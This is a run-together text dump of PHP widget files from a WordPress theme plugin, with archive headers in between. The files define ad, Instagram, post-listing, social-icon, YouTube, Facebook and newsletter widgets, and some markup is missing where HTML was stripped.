'description' => esc_html__( 'Input your custom ad or Adsense code. Use Adsense units code to ensure it display exactly where you put. The widget will not work if you are using auto ads.', 'foxiz-core' ), 'value' => $instance['code'] ) ); foxiz_create_widget_select_field( array( 'id' => $this->get_field_id( 'size' ), 'name' => $this->get_field_name( 'size' ), 'title' => esc_html__( 'Ad Size', 'foxiz-core' ), 'description' => esc_html__( 'Select a custom size for this ad if you use the adsense ad units code.', 'foxiz-core' ), 'options' => array( '0' => esc_html__( 'Do not Override', 'foxiz-core' ), '1' => esc_html__( 'Custom Size Below', 'foxiz-core' ), ), 'value' => $instance['size'], ) ); foxiz_create_widget_select_field( array( 'id' => $this->get_field_id( 'desktop_size' ), 'name' => $this->get_field_name( 'desktop_size' ), 'title' => esc_html__( 'Size on Desktop', 'foxiz-core' ), 'description' => esc_html__( 'Select a size on the desktop devices.', 'foxiz-core' ), 'options' => $this->ad_sizes_config(), 'value' => $instance['desktop_size'], ) ); foxiz_create_widget_select_field( array( 'id' => $this->get_field_id( 'tablet_size' ), 'name' => $this->get_field_name( 'tablet_size' ), 'title' => esc_html__( 'Size on Tablet', 'foxiz-core' ), 'description' => esc_html__( 'Select a size on the tablet devices.', 'foxiz-core' ), 'options' => $this->ad_sizes_config(), 'value' => $instance['tablet_size'], ) ); foxiz_create_widget_select_field( array( 'id' => $this->get_field_id( 'mobile_size' ), 'name' => $this->get_field_name( 'mobile_size' ), 'title' => esc_html__( 'Size on Mobile', 'foxiz-core' ), 'description' => esc_html__( 'Select a size on the mobile devices/', 'foxiz-core' ), 'options' => $this->ad_sizes_config(), 'value' => $instance['mobile_size'], ) ); } function widget( $args, $instance ) { $instance['cache_id'] = $args['widget_id']; $instance = wp_parse_args( (array) $instance, $this->params ); echo $args['before_widget']; $instance['id'] = $args['widget_id']; $instance['no_spacing'] = true; if ( ! empty( $instance['title'] ) ) { $instance['description'] = $instance['title']; } if ( ! empty( $instance['code'] ) ) : ?> esc_html__( 'Hide on Desktop', 'foxiz-core' ), '1' => esc_html__( 'Leaderboard (728x90)', 'foxiz-core' ), '2' => esc_html__( 'Banner (468x60)', 'foxiz-core' ), '3' => esc_html__( 'Half banner (234x60)', 'foxiz-core' ), '4' => esc_html__( 'Button (125x125)', 'foxiz-core' ), '5' => esc_html__( 'Skyscraper (120x600)', 'foxiz-core' ), '6' => esc_html__( 'Wide Skyscraper (160x600)', 'foxiz-core' ), '7' => esc_html__( 'Small Rectangle (180x150)', 'foxiz-core' ), '8' => esc_html__( 'Vertical Banner (120 x 240)', 'foxiz-core' ), '9' => esc_html__( 'Small Square (200x200)', 'foxiz-core' ), '10' => esc_html__( 'Square (250x250)', 'foxiz-core' ), '11' => esc_html__( 'Medium Rectangle (300x250)', 'foxiz-core' ), '12' => esc_html__( 'Large Rectangle (336x280)', 'foxiz-core' ), '13' => esc_html__( 'Half Page (300x600)', 'foxiz-core' ), '14' => esc_html__( 'Portrait (300x1050)', 'foxiz-core' ), '15' => esc_html__( 'Mobile Banner (320x50)', 'foxiz-core' ), '16' => esc_html__( 'Large Leaderboard (970x90)', 'foxiz-core' ), '17' => esc_html__( 'Billboard (970x250)', 'foxiz-core' ), '18' => esc_html__( 'Mobile Banner (320x100)', 'foxiz-core' ), '19' => esc_html__( 'Mobile Friendly (300x100)', 'foxiz-core' ), ); } } endif;widgets/fw-instagram.php000064400000025124147206624460011341 0ustar00params = array( 'header_intro' => esc_html__( 'Follow @ Instagram
Our Profile
', 'foxiz-core' ), 'url' => '#', 'user_name' => '', 'instagram_token' => '', 'grid_layout' => 'rb-cmix', 'total_images' => 7, 'total_cols' => 'rb-c7', 'layout' => 'full', ); parent::__construct( $this->widgetID, esc_html__( 'Foxiz - Fw Instagram', 'foxiz-core' ), array( 'classname' => $this->widgetID, 'description' => esc_html__( '[Full Width Widget] Display a grid of instagram images in the full width sections.', 'foxiz-core' ) ) ); } function update( $new_instance, $old_instance ) { if ( current_user_can( 'unfiltered_html' ) ) { return wp_parse_args( (array) $new_instance, $this->params ); } else { $instance = array(); foreach ( $new_instance as $id => $value ) { $instance[ $id ] = sanitize_text_field( $value ); } return wp_parse_args( $instance, $this->params ); } } function form( $instance ) { $instance = wp_parse_args( (array) $instance, $this->params ); foxiz_create_widget_textarea_field( array( 'id' => $this->get_field_id( 'header_intro' ), 'name' => $this->get_field_name( 'header_intro' ), 'title' => esc_html__( 'Header Intro (raw HTML allowed)', 'foxiz-core' ), 'value' => $instance['header_intro'] ) ); foxiz_create_widget_textarea_field( array( 'id' => $this->get_field_id( 'instagram_token' ), 'name' => $this->get_field_name( 'instagram_token' ), 'title' => esc_html__( 'Instagram Token', 'foxiz-core' ), 'description' => esc_html__( 'Refer to this Documentation to create an Instagram token', 'foxiz-core' ), 'value' => $instance['instagram_token'] ) ); foxiz_create_widget_select_field( array( 'id' => $this->get_field_id( 'grid_layout' ), 'name' => $this->get_field_name( 'grid_layout' ), 'title' => esc_html__( 'Style', 'foxiz-core' ), 'options' => array( 'rb-cmix' => esc_html__( 'Wrapper Masonry', 'foxiz-core' ), 'rb-cfmix' => esc_html__( 'Wide Masonry', 'foxiz-core' ), 'rb-grid' => esc_html__( 'Default Grid', 'foxiz-core' ), ), 'value' => $instance['grid_layout'], ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'total_images' ), 'name' => $this->get_field_name( 'total_images' ), 'title' => esc_html__( 'Total Images (Default Grid)', 'foxiz-core' ), 'description' => esc_html__( 'This setting will only apply to the default grid layout.', 'foxiz-core' ), 'value' => $instance['total_images'] ) ); foxiz_create_widget_select_field( array( 'id' => $this->get_field_id( 'total_cols' ), 'name' => $this->get_field_name( 'total_cols' ), 'title' => esc_html__( 'Style', 'foxiz-core' ), 'options' => array( 'rb-c5' => esc_html__( '5 columns', 'foxiz-core' ), 'rb-c6' => esc_html__( '6 columns', 'foxiz-core' ), 'rb-c7' => esc_html__( '7 columns', 'foxiz-core' ), 'rb-c8' => esc_html__( '8 columns', 'foxiz-core' ), 'rb-c9' => esc_html__( '9 columns', 'foxiz-core' ), ), 'value' => $instance['total_cols'], ) ); } function widget( $args, $instance ) { $instance = wp_parse_args( (array) $instance, $this->params ); $instance['cache_id'] = $args['widget_id']; $flag = true; $classes = array(); echo $args['before_widget']; $data_images = $this->foxiz_data_fw_instagram_token( $instance ); if ( $instance['grid_layout'] === 'rb-cmix' ) { $instance['total_images'] = 7; if ( empty( $instance['header_intro'] ) ) { $instance['total_images'] = 8; } $instance['total_cols'] = 'rb-masonry'; $classes[] = 'instagram-grid layout-grid grid-masonry is-wrap rb-container edge-padding'; } elseif ( $instance['grid_layout'] === 'rb-cfmix' ) { $instance['total_images'] = 11; if ( empty( $instance['header_intro'] ) ) { $instance['total_images'] = 12; } $instance['total_cols'] = 'rb-masonry'; $classes[] = 'instagram-grid layout-grid grid-fmasonry is-wide'; } else { $flag = false; $classes[] = 'instagram-grid layout-default grid-default'; if ( 'wrapper' === $instance['layout'] ) { $classes[] = 'is-wrap rb-container'; } else { $classes[] = 'is-wide'; } } if ( ! empty( $data_images['error'] ) ) : if ( current_user_can( 'manage_options' ) ) : echo '
' . esc_html__( 'Instagram Error: ', 'foxiz-core' ) . '' . esc_html( $data_images['error'] ) . '
'; endif; else : if ( ! empty( $instance['title'] ) ) { echo $args['before_title'] . $instance['title'] . $args['after_title']; } ?> false, 'timeout' => 100 ) ); if ( is_wp_error( $response ) || empty( $response['response']['code'] ) || 200 !== $response['response']['code'] ) { $response = json_decode( wp_remote_retrieve_body( $response ) ); if ( ! empty( $response->error->message ) ) { $data_images['error'] = esc_html( $response->error->message ); } else { $data_images['error'] = esc_html__( 'Could not connect to Instagram API server.', 'foxiz-core' ); } return $data_images; } $response = json_decode( wp_remote_retrieve_body( $response ) ); if ( ! empty( $response->data ) && is_array( $response->data ) ) { foreach ( $response->data as $image ) { $caption = esc_html__( 'instagram image', 'foxiz-core' ); $link = '#'; $likes = ''; $comments = ''; $thumbnail = '#'; $media = ''; if ( ! empty( $image->permalink ) ) { $link = esc_url( $image->permalink ); } if ( ! empty( $image->media_url ) ) { $thumbnail = esc_url( $image->media_url ); } if ( ! empty( $image->media_type ) ) { $media = esc_html( $image->media_type ); } if ( ! empty( $image->$caption ) ) { $caption = $image->$caption; } $data_images[] = array( 'thumbnail_src' => $thumbnail, 'caption' => $caption, 'link' => $link, 'likes' => $likes, 'comments' => $comments, 'media' => $media, ); } $cache_data[ $cache_id ] = $data_images; delete_transient( $cache_name ); set_transient( $cache_name, $cache_data, 21600 ); } else { $data_images['error'] = esc_html__( 'Incorrect token or has been expired, Please create a new token and try again!', 'foxiz-core' ); } return $data_images; } } } endif;widgets/sb-post.php000064400000021407147206624460010331 0ustar00params = array( 'title' => '', 'posts_per_page' => '4', 'category' => '', 'categories' => '', 'tags' => '', 'tag_not_in' => '', 'format' => '0', 'post_not_in' => '', 'post_in' => '', 'offset' => '', 'featured_position' => '', 'order' => 'date_post', 'entry_meta' => 'category' ); parent::__construct( $this->widgetID, esc_html__( 'Foxiz - Post Listing', 'foxiz-core' ), array( 'classname' => $this->widgetID, 'description' => esc_html__( '[Sidebar Widget] Display a small list latest post listing in the sidebar.', 'foxiz-core' ) ) ); } function update( $new_instance, $old_instance ) { if ( current_user_can( 'unfiltered_html' ) ) { return wp_parse_args( (array) $new_instance, $this->params ); } else { $instance = array(); foreach ( $new_instance as $id => $value ) { $instance[ $id ] = sanitize_text_field( $value ); } return wp_parse_args( $instance, $this->params ); } } function form( $instance ) { $instance = wp_parse_args( (array) $instance, $this->params ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'title' ), 'name' => $this->get_field_name( 'title' ), 'title' => esc_html__( 'Title', 'foxiz-core' ), 'value' => $instance['title'] ) ); foxiz_create_widget_select_field( array( 'id' => $this->get_field_id( 'category' ), 'name' => $this->get_field_name( 'category' ), 'title' => esc_html__( 'Category Filter', 'foxiz-core' ), 'description' => esc_html__( 'Select a category you would like to show.', 'foxiz-core' ), 'data' => 'category', 'value' => $instance['category'] ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'categories' ), 'name' => $this->get_field_name( 'categories' ), 'title' => esc_html__( 'Categories Filter', 'foxiz-core' ), 'description' => esc_html__( 'Filter posts by multiple category IDs, separated category IDs by commas (for example: 1,2,3).', 'foxiz-core' ), 'value' => $instance['categories'] ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'tags' ), 'name' => $this->get_field_name( 'tags' ), 'title' => esc_html__( 'Tags Slug Filter', 'foxiz-core' ), 'description' => esc_html__( 'Filter posts by tag slugs, separated by commas (for example: tagslug1,tagslug2,tagslug3).', 'foxiz-core' ), 'value' => $instance['tags'] ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'tag_not_in' ), 'name' => $this->get_field_name( 'tag_not_in' ), 'title' => esc_html__( 'Exclude Tags Slug', 'foxiz-core' ), 'description' => esc_html__( 'Exclude tag slugs, separated by commas (for example: tagslug1,tagslug2,tagslug3).', 'foxiz-core' ), 'value' => $instance['tag_not_in'] ) ); foxiz_create_widget_select_field( array( 'id' => $this->get_field_id( 'format' ), 'name' => $this->get_field_name( 'format' ), 'title' => esc_html__( 'Post Format', 'foxiz-core' ), 'description' => esc_html__( 'Filter posts by post format.', 'foxiz-core' ), 'options' => array( '0' => esc_html__( '-- All --', 'foxiz-core' ), 'default' => esc_html__( '- Default -', 'foxiz-core' ), 'gallery' => esc_html__( 'Gallery', 'foxiz-core' ), 'video' => esc_html__( 'Video', 'foxiz-core' ), 'audio' => esc_html__( 'Audio', 'foxiz-core' ) ), 'value' => $instance['format'], ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'post_not_in' ), 'name' => $this->get_field_name( 'post_not_in' ), 'title' => esc_html__( 'Exclude Post IDs', 'foxiz-core' ), 'description' => esc_html__( 'Exclude posts by Post IDs, separated by commas (for example: 1,2,3).', 'foxiz-core' ), 'value' => $instance['post_not_in'] ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'post_in' ), 'name' => $this->get_field_name( 'post_in' ), 'title' => esc_html__( 'Post IDs Filter', 'foxiz-core' ), 'description' => esc_html__( 'Filter posts by post IDs. separated by commas (for example: 1,2,3).', 'foxiz-core' ), 'value' => $instance['post_in'] ) ); foxiz_create_widget_select_field( array( 'id' => $this->get_field_id( 'order' ), 'name' => $this->get_field_name( 'order' ), 'title' => esc_html__( 'Order By', 'foxiz-core' ), 'options' => array( 'date_post' => esc_html__( 'Latest Posts', 'foxiz-core' ), 'update' => esc_html__( 'Last Updated', 'foxiz-core' ), 'comment_count' => esc_html__( 'Popular Comment', 'foxiz-core' ), 'popular' => esc_html__( 'Popular', 'foxiz-core' ), 'popular_m' => esc_html__( 'Popular Published last 30 Days', 'foxiz-core' ), 'popular_w' => esc_html__( 'Popular Published last 7 Days', 'foxiz-core' ), 'top_review' => esc_html__( 'Top Review', 'foxiz-core' ), 'last_review' => esc_html__( 'Latest Review', 'foxiz-core' ), 'post_type' => esc_html__( 'Post Type', 'foxiz-core' ), 'sponsored' => esc_html__( 'Latest Sponsored', 'foxiz-core' ), 'rand' => esc_html__( 'Random', 'foxiz-core' ), 'author' => esc_html__( 'Author', 'foxiz-core' ), 'alphabetical_order_decs' => esc_html__( 'Title DECS', 'foxiz-core' ), 'alphabetical_order_asc' => esc_html__( 'Title ACS', 'foxiz-core' ), 'by_input' => esc_html__( 'by input IDs Data (Post IDs filter)', 'foxiz-core' ) ), 'value' => $instance['order'], ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'posts_per_page' ), 'name' => $this->get_field_name( 'posts_per_page' ), 'title' => esc_html__( 'Posts per Page', 'foxiz-core' ), 'value' => $instance['posts_per_page'] ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'offset' ), 'name' => $this->get_field_name( 'offset' ), 'title' => esc_html__( 'Post Offset', 'foxiz-core' ), 'description' => esc_html__( 'Select number of posts to pass over. Leave this option blank to set at the beginning.', 'foxiz-core' ), 'value' => $instance['offset'] ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'entry_meta' ), 'name' => $this->get_field_name( 'entry_meta' ), 'title' => esc_html__( 'Entry Meta Tags', 'foxiz-core' ), 'description' => esc_html__( 'Input custom entry meta tags to show, separate by comma. For example: avatar,author,date. Keys include: [avatar, author, date, category, tag, view, comment, update, read, custom]', 'foxiz-core' ), 'value' => $instance['entry_meta'] ) ); foxiz_create_widget_select_field( array( 'id' => $this->get_field_id( 'featured_position' ), 'name' => $this->get_field_name( 'featured_position' ), 'title' => esc_html__( 'Featured Position', 'foxiz-core' ), 'options' => array( '0' => esc_html__( 'Left', 'foxiz-core' ), 'right' => esc_html__( 'Right', 'foxiz-core' ) ), 'value' => $instance['featured_position'] ) ); } function widget( $args, $instance ) { $instance = wp_parse_args( (array) $instance, $this->params ); $instance['review'] = 'replace'; if ( empty( $instance['entry_meta'] ) ) { $instance['entry_meta'] = 'category'; } else { $instance['entry_meta'] = strval( $instance['entry_meta'] ); } if ( ! function_exists( 'foxiz_query' ) || ! function_exists( 'foxiz_loop_list_small_2' ) ) { return false; } echo $args['before_widget']; if ( ! empty( $instance['title'] ) ) { echo $args['before_title'] . esc_html( $instance['title'] ) . $args['after_title']; } $_query = foxiz_query( $instance ); echo '
'; if ( $_query->have_posts() ) { foxiz_loop_list_small_2( $instance, $_query ); wp_reset_postdata(); } echo '
'; echo $args['after_widget']; } } endif;widgets/sb-social-icon.php000064400000027153147206624460011550 0ustar00params = array( 'title' => 'Find Us on Socials', 'content' => '', 'new_tab' => true, 'style' => 1, 'data_social' => 1, 'facebook' => '', 'twitter' => '', 'instagram' => '', 'pinterest' => '', 'linkedin' => '', 'tumblr' => '', 'flickr' => '', 'skype' => '', 'snapchat' => '', 'myspace' => '', 'youtube' => '', 'bloglovin' => '', 'digg' => '', 'dribbble' => '', 'soundcloud' => '', 'vimeo' => '', 'reddit' => '', 'vk' => '', 'telegram' => '', 'whatsapp' => '', 'rss' => '' ); parent::__construct( $this->widgetID, esc_html__( 'Foxiz - Widget Social Icons/About', 'foxiz-core' ), array( 'classname' => $this->widgetID, 'description' => esc_html__( '[Sidebar Widget] Display about me information and social icons in the sidebars.', 'foxiz-core' ) ) ); } function update( $new_instance, $old_instance ) { if ( current_user_can( 'unfiltered_html' ) ) { return wp_parse_args( (array) $new_instance, $this->params ); } else { $instance = array(); foreach ( $new_instance as $id => $value ) { $instance[ $id ] = sanitize_text_field( $value ); } return wp_parse_args( $instance, $this->params ); } } function form( $instance ) { $instance = wp_parse_args( (array) $instance, $this->params ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'title' ), 'name' => $this->get_field_name( 'title' ), 'title' => esc_html__( 'Title', 'foxiz-core' ), 'value' => $instance['title'] ) ); foxiz_create_widget_textarea_field( array( 'id' => $this->get_field_id( 'content' ), 'name' => $this->get_field_name( 'content' ), 'title' => esc_html__( 'Short biography (raw HTML allowed)', 'foxiz-core' ), 'value' => $instance['content'] ) ); foxiz_create_widget_select_field( array( 'id' => $this->get_field_id( 'style' ), 'name' => $this->get_field_name( 'style' ), 'title' => esc_html__( 'Align Content', 'foxiz-core' ), 'options' => array( '1' => esc_html__( 'Left', 'foxiz-core' ), '2' => esc_html__( 'Center', 'foxiz-core' ), ), 'value' => $instance['style'], ) ); foxiz_create_widget_select_field( array( 'id' => $this->get_field_id( 'data_social' ), 'name' => $this->get_field_name( 'data_social' ), 'title' => esc_html__( 'Social Profiles Source', 'foxiz-core' ), 'description' => esc_html__( 'To set social profiles from the Theme Options, Navigate to: Theme Options -> Social Profiles.', 'foxiz-core' ), 'options' => array( '1' => esc_html__( 'Theme Options', 'foxiz-core' ), '2' => esc_html__( 'Use Custom', 'foxiz-core' ), ), 'value' => $instance['data_social'], ) ); foxiz_create_widget_select_field( array( 'id' => $this->get_field_id( 'new_tab' ), 'name' => $this->get_field_name( 'new_tab' ), 'title' => esc_html__( 'Open in new tab', 'foxiz-core' ), 'options' => array( '1' => esc_html__( 'Default', 'foxiz-core' ), '2' => esc_html__( 'New Tab', 'foxiz-core' ), ), 'value' => $instance['new_tab'], ) ); foxiz_create_widget_heading_field( array( 'id' => $this->get_field_id( 'settings' ), 'name' => $this->get_field_name( 'settings' ), 'title' => esc_html__( 'Social Settings', 'foxiz-core' ) ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'facebook' ), 'name' => $this->get_field_name( 'facebook' ), 'title' => esc_html__( 'Facebook URL', 'foxiz-core' ), 'value' => $instance['facebook'] ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'twitter' ), 'name' => $this->get_field_name( 'twitter' ), 'title' => esc_html__( 'Twitter URL', 'foxiz-core' ), 'value' => $instance['twitter'] ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'instagram' ), 'name' => $this->get_field_name( 'instagram' ), 'title' => esc_html__( 'Instagram URL', 'foxiz-core' ), 'value' => $instance['instagram'] ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'pinterest' ), 'name' => $this->get_field_name( 'pinterest' ), 'title' => esc_html__( 'Pinterest URL', 'foxiz-core' ), 'value' => $instance['pinterest'] ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'linkedin' ), 'name' => $this->get_field_name( 'linkedin' ), 'title' => esc_html__( 'Linkedin URL', 'foxiz-core' ), 'value' => $instance['linkedin'] ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'tumblr' ), 'name' => $this->get_field_name( 'tumblr' ), 'title' => esc_html__( 'Tumblr URL', 'foxiz-core' ), 'value' => $instance['tumblr'] ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'flickr' ), 'name' => $this->get_field_name( 'flickr' ), 'title' => esc_html__( 'Flickr URL', 'foxiz-core' ), 'value' => $instance['flickr'] ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'skype' ), 'name' => $this->get_field_name( 'skype' ), 'title' => esc_html__( 'Skype URL', 'foxiz-core' ), 'value' => $instance['skype'] ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'snapchat' ), 'name' => $this->get_field_name( 'snapchat' ), 'title' => esc_html__( 'Snapchat URL', 'foxiz-core' ), 'value' => $instance['snapchat'] ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'myspace' ), 'name' => $this->get_field_name( 'myspace' ), 'title' => esc_html__( 'Myspace URL', 'foxiz-core' ), 'value' => $instance['myspace'] ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'youtube' ), 'name' => $this->get_field_name( 'youtube' ), 'title' => esc_html__( 'Youtube URL', 'foxiz-core' ), 'value' => $instance['youtube'] ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'bloglovin' ), 'name' => $this->get_field_name( 'bloglovin' ), 'title' => esc_html__( 'Bloglovin URL', 'foxiz-core' ), 'value' => $instance['bloglovin'] ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'digg' ), 'name' => $this->get_field_name( 'digg' ), 'title' => esc_html__( 'Digg URL', 'foxiz-core' ), 'value' => $instance['digg'] ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'dribbble' ), 'name' => $this->get_field_name( 'dribbble' ), 'title' => esc_html__( 'Dribbble URL', 'foxiz-core' ), 'value' => $instance['dribbble'] ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'soundcloud' ), 'name' => $this->get_field_name( 'soundcloud' ), 'title' => esc_html__( 'SoundCloud URL', 'foxiz-core' ), 'value' => $instance['soundcloud'] ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'vimeo' ), 'name' => $this->get_field_name( 'vimeo' ), 'title' => esc_html__( 'Vimeo URL', 'foxiz-core' ), 'value' => $instance['vimeo'] ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'reddit' ), 'name' => $this->get_field_name( 'reddit' ), 'title' => esc_html__( 'Reddit URL', 'foxiz-core' ), 'value' => $instance['reddit'] ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'vk' ), 'name' => $this->get_field_name( 'vk' ), 'title' => esc_html__( 'VKontakte URL', 'foxiz-core' ), 'value' => $instance['vk'] ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'telegram' ), 'name' => $this->get_field_name( 'telegram' ), 'title' => esc_html__( 'Telegram URL', 'foxiz-core' ), 'value' => $instance['telegram'] ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'whatsapp' ), 'name' => $this->get_field_name( 'whatsapp' ), 'title' => esc_html__( 'Whatsapp URL', 'foxiz-core' ), 'value' => $instance['whatsapp'] ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'rss' ), 'name' => $this->get_field_name( 'rss' ), 'title' => esc_html__( 'RSS URL', 'foxiz-core' ), 'value' => $instance['rss'] ) ); } function widget( $args, $instance ) { $instance = wp_parse_args( (array) $instance, $this->params ); if ( '2' === (string) $instance['new_tab'] ) { $instance['new_tab'] = true; } else { $instance['new_tab'] = false; } if ( '1' === (string) $instance['data_social'] ) { $data_social = $this->foxiz_get_web_socials(); } else { $data_social = $instance; } $bio_class_name = 'about-bio'; $social_class_name = 'social-icon-wrap clearfix tooltips-n'; if ( ! empty( $instance['style'] ) && '2' === (string) $instance['style'] ) { $bio_class_name .= ' ' . 'is-centered'; $social_class_name .= ' ' . 'is-centered'; } echo $args['before_widget']; if ( ! empty( $instance['title'] ) ) { echo $args['before_title'] . $instance['title'] . $args['after_title']; } ?>
params = array( 'title' => '', 'channel_name' => '', 'channel_id' => '', ); parent::__construct( $this->widgetID, esc_html__( 'Foxiz - Youtube Subscribe', 'foxiz-core' ), array( 'classname' => $this->widgetID, 'description' => esc_html__( '[Sidebar Widget] Display YouTube subscribe box in the sidebars.', 'foxiz-core' ) ) ); } function update( $new_instance, $old_instance ) { if ( current_user_can( 'unfiltered_html' ) ) { return wp_parse_args( (array) $new_instance, $this->params ); } else { $instance = array(); foreach ( $new_instance as $id => $value ) { $instance[ $id ] = sanitize_text_field( $value ); } return wp_parse_args( $instance, $this->params ); } } function form( $instance ) { $instance = wp_parse_args( (array) $instance, $this->params ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'title' ), 'name' => $this->get_field_name( 'title' ), 'title' => esc_html__( 'Title', 'foxiz-core' ), 'value' => $instance['title'] ) ); foxiz_create_widget_heading_field( array( 'id' => $this->get_field_id( 'youtube_set' ), 'name' => $this->get_field_name( 'youtube_set' ), 'title' => esc_html__( 'Youtube Settings', 'foxiz-core' ) ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'channel_name' ), 'name' => $this->get_field_name( 'channel_name' ), 'title' => esc_html__( 'Channel Name', 'foxiz-core' ), 'value' => $instance['channel_name'], ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'channel_id' ), 'name' => $this->get_field_name( 'channel_id' ), 'title' => esc_html__( 'or Channel ID', 'foxiz-core' ), 'desc' => esc_html__( 'this setting will override on the above channel name.', 'foxiz-core' ), 'value' => $instance['channel_id'], ) ); } function widget( $args, $instance ) { $instance = wp_parse_args( (array) $instance, $this->params ); echo $args['before_widget']; if ( ! empty( $instance['title'] ) ) { echo $args['before_title'] . esc_html( $instance['title'] ) . $args['after_title']; } if ( ! empty( $instance['channel_name'] ) ) : ?> params = array( 'title' => '', 'fanpage_name' => '', ); parent::__construct( $this->widgetID, esc_html__( 'Foxiz - Widget Facebook', 'foxiz-core' ), array( 'classname' => $this->widgetID, 'description' => esc_html__( '[Sidebar Widget] Display the Facebook Like box in the sidebars.', 'foxiz-core' ) ) ); } function update( $new_instance, $old_instance ) { if ( current_user_can( 'unfiltered_html' ) ) { return wp_parse_args( (array) $new_instance, $this->params ); } else { $instance = array(); foreach ( $new_instance as $id => $value ) { $instance[ $id ] = sanitize_text_field( $value ); } return wp_parse_args( $instance, $this->params ); } } function form( $instance ) { $instance = wp_parse_args( (array) $instance, $this->params ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'title' ), 'name' => $this->get_field_name( 'title' ), 'title' => esc_html__( 'Title', 'foxiz-core' ), 'value' => $instance['title'] ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'fanpage_name' ), 'name' => $this->get_field_name( 'fanpage_name' ), 'title' => esc_html__( 'Fan Page URL', 'foxiz-core' ), 'value' => $instance['fanpage_name'], ) ); } function widget( $args, $instance ) { $instance = wp_parse_args( (array) $instance, $this->params ); echo $args['before_widget']; if ( ! empty( $instance['title'] ) ) { echo $args['before_title'] . esc_html( $instance['title'] ) . $args['after_title']; } if ( $instance['fanpage_name'] ) : if ( ! strpos( $instance['fanpage_name'], 'facebook.com' ) ) { $url = 'https://facebook.com/' . trim( $instance['fanpage_name'] ); } else { $url = $instance['fanpage_name']; } ?>
params = array( 'title' => 'Subscribe to Our Newsletter', 'description' => 'Subscribe to our newsletter to get our newest articles instantly!', 'shortcode' => '[mc4wp_form]', 'text_style' => '1', 'image' => '', 'bg_color' => '', ); parent::__construct( $this->widgetID, esc_html__( 'Foxiz - FW Newsletter', 'foxiz-core' ), array( 'classname' => $this->widgetID, 'description' => esc_html__( '[Full Width Widget] Display a Mailchimp sign-up form in the full width sections.', 'foxiz-core' ) ) ); } function update( $new_instance, $old_instance ) { if ( current_user_can( 'unfiltered_html' ) ) { return wp_parse_args( (array) $new_instance, $this->params ); } else { $instance = array(); foreach ( $new_instance as $id => $value ) { $instance[ $id ] = sanitize_text_field( $value ); } return wp_parse_args( $instance, $this->params ); } } function form( $instance ) { $instance = wp_parse_args( (array) $instance, $this->params ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'title' ), 'name' => $this->get_field_name( 'title' ), 'title' => esc_html__( 'Title', 'foxiz-core' ), 'value' => $instance['title'] ) ); foxiz_create_widget_textarea_field( array( 'id' => $this->get_field_id( 'description' ), 'name' => $this->get_field_name( 'description' ), 'title' => esc_html__( 'Description', 'foxiz-core' ), 'value' => $instance['description'] ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'shortcode' ), 'name' => $this->get_field_name( 'shortcode' ), 'title' => esc_html__( 'Mailchimp Form Shortcode', 'foxiz-core' ), 'value' => $instance['shortcode'] ) ); foxiz_create_widget_select_field( array( 'id' => $this->get_field_id( 'text_style' ), 'name' => $this->get_field_name( 'text_style' ), 'title' => esc_html__( 'Style', 'foxiz-core' ), 'options' => array( '0' => esc_html__( 'Light Text', 'foxiz-core' ), '1' => esc_html__( 'Dark Text', 'foxiz-core' ), ), 'value' => $instance['text_style'], ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'bg_color' ), 'name' => $this->get_field_name( 'bg_color' ), 'title' => esc_html__( 'Background Color (hex value)', 'foxiz-core' ), 'value' => $instance['bg_color'] ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'image' ), 'name' => $this->get_field_name( 'image' ), 'title' => esc_html__( 'Background Image URL', 'foxiz-core' ), 'desc' => esc_html__( 'Input a background image URL (attachment URL) for this widget.', 'foxiz-core' ), 'value' => $instance['image'] ) ); } function widget( $args, $instance ) { $instance = wp_parse_args( (array) $instance, $this->params ); echo $args['before_widget']; $classes = 'newsletter-box-2 newsletter-fw'; $style = ' style="'; if ( ! empty( $instance['image'] ) ) { $style .= 'background-image: url( ' . esc_html( $instance['image'] ) . ');'; $classes .= ' has-bg'; } if ( ! empty( $instance['bg_color'] ) ) { $style .= 'background-color:' . esc_attr( $instance['bg_color'] ) . ';'; } $style .= '"'; if ( empty( $instance['text_style'] ) ) { $classes .= ' 